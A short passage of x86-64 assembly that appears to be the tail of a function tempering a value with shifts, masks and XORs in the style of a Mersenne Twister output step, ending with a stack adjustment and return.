shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret